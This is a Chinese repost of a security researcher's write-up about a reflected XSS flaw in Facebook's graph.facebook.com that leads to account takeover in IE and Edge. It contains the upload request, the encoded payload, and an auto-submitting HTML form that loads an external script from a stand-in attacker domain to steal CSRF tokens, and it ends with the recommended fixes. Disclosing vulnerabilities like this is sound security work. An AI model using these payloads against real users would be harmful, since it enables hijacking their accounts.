您好,登錄后才能下訂單哦!
本篇文章給大家分享的是有關如何利用graph.facebook.com中的反射型XSS實現(xiàn)Facebook賬戶劫持,小編覺得挺實用的,因此分享給大家學習,希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。
下面分享的是graph.facebook.com中存在的反射型XSS漏洞,攻擊者利用該漏洞可以構造惡意鏈接引誘受害者訪問,添加賬戶綁定郵箱或手機號,從而實現(xiàn)對受害者Facebook賬戶的劫持。
該漏洞只在IE和Edge瀏覽器中有效,漏洞原因在于graph.facebook.com中的某些API端點,在處理HTML代碼響應時未實施完善安全的轉義措施。響應消息存在于JSON格式中,HTML代碼被當做其中一個字段的值也包含在內,而且響應消息不附帶Content-Type 或 X-Content-Type-Options頭,這樣我就能有機會在IE/Edge中構造代碼執(zhí)行了。(這兩類瀏覽器會掃描整個頁面確定MIME文件類型,而其它瀏覽器只檢查前幾個字符)。
1、首先,我們發(fā)送以下上傳方式的POST請求:
POST /app/uploadsHost: graph.facebook.com access_token=ACCESS_TOKEN&file_length=100&file_type=PAYLOAD
其中的ACCESS_TOKEN是由Facebook for Android的第一方應用生成的有效用戶訪問令牌,PAYLOAD則是我們想插入的HTML代碼,用于后續(xù)引誘受害者在瀏覽器中執(zhí)行。當提交請求后,遠程服務端會返回一個類似如下的值,其中包含一個后續(xù)會用到的會話ID(具體請參考Facebook官方說明):
{"id": "upload:MTphdHRhY2htZW50Ojlk2mJiZxUwLWV6MDUtNDIwMy05yTA3LWQ4ZDPmZGFkNTM0NT8=?sig=ARZqkGCA_uQMxC8nHKI"}
經(jīng)測試發(fā)現(xiàn),其響應消息中沒有內容安全策略(CSP)限制,所以,我想到了能不能用一個包含外部鏈接的js文件來插入HTML代碼,例如:
<html><body><script src=//DOMAIN.com/script.js ></script></body></html>
2、這里的上傳請求被Facebook后端做了Base64編碼處理,返回顯示如下,其中包含了我們特意植入的Payload:
upload:MTphdHRhY2htZW50OjZiZnNjNmYxLTljY2MtNDQxNi05YzM1LTFlc2YyMmI5OGlmYz9maWxlX2xlbmd0aD0wJmZpbGVfdHlwZT08aHRtbD48Y**keT48c2NyaXB0IHNyYz0vL0RPTUFJTi5jb20vc2NyaXB0LmpzID48L3NjcmlwdD48L2JvZHk+PC9odG1sPg==?sig=ARaCDqLfwoeI8V3s
所以,用該編碼串之后就會有如下請求,用它可以向Facebook發(fā)起POST請求:
https://graph.facebook.com/upload:MTphdHRhY2htZW50OjZiZnNjNmYxLTljY2MtNDQxNi05YzM1LTFlc2YyMmI5OGlmYz9maWxlX2xlbmd0aD0wJmZpbGVfdHlwZT08aHRtbD48Y**keT48c2NyaXB0IHNyYz0vL0RPTUFJTi5jb20vc2NyaXB0LmpzID48L3NjcmlwdD48L2JvZHk+PC9odG1sPg==?sig=ARaCDqLfwoeI8V3s
3、由此,利用以上請求串,我向其中加入我在第1步中生成的有效access_token,構造了一個HTML網(wǎng)頁放到了我的網(wǎng)站中:
<html> <body> <form action=”https://graph.facebook.com/upload:MTphdHRhY2htZW50OjZiZnNjNmYxLTljY2MtNDQxNi05YzM1LTFlc2YyMmI5OGlmYz9maWxlX2xlbmd0aD0wJmZpbGVfdHlwZT08aHRtbD48Y**keT48c2NyaXB0IHNyYz0vL0RPTUFJTi5jb20vc2NyaXB0LmpzID48L3NjcmlwdD48L2JvZHk+PC9odG1sPg==?sig=ARaCDqLfwoeI8V3s&access_token=MY_ACCESS_TOKEN” method=”POST”><input name=”random_” value=”random”><input type=”submit” value=”Submit” /></form><script type =”text/javascript “>document.forms[0].submit();</script> </body></html>
該頁面包含了一個提交樣式,受害者訪問之后的響應消息如下:
{“h”:”2::<html><body><script src=//DOMAIN.com/script.js ></script></body></html>:GVo0nVVSEBm2kCDZXKFCdFSlCSZjbugbAAAP:e:1571103112:REDACATED:REDACATED:ARCvdJWLVDpBjUAZzrg”}
重要的是,https://DOMAIN.com/script.js中的腳本文件將幫助我竊取受害者的“fb_dtsg” CSRF token,并且可向https://www.facebook.com/api/graphql/發(fā)送一個添加手機號或郵箱地址的綁定請求,實現(xiàn)間接的受害者賬戶劫持。
1、在file_type參數(shù)中加入對HTML代碼處理的安全轉義措施;
2、給每個響應中加入“Content-type: application/json” 頭避免進一步的攻擊。
以上就是如何利用graph.facebook.com中的反射型XSS實現(xiàn)Facebook賬戶劫持,小編相信有部分知識點可能是我們日常工作會見到或用到的。希望你能通過這篇文章學到更多知識。更多詳情敬請關注億速云行業(yè)資訊頻道。
免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權內容。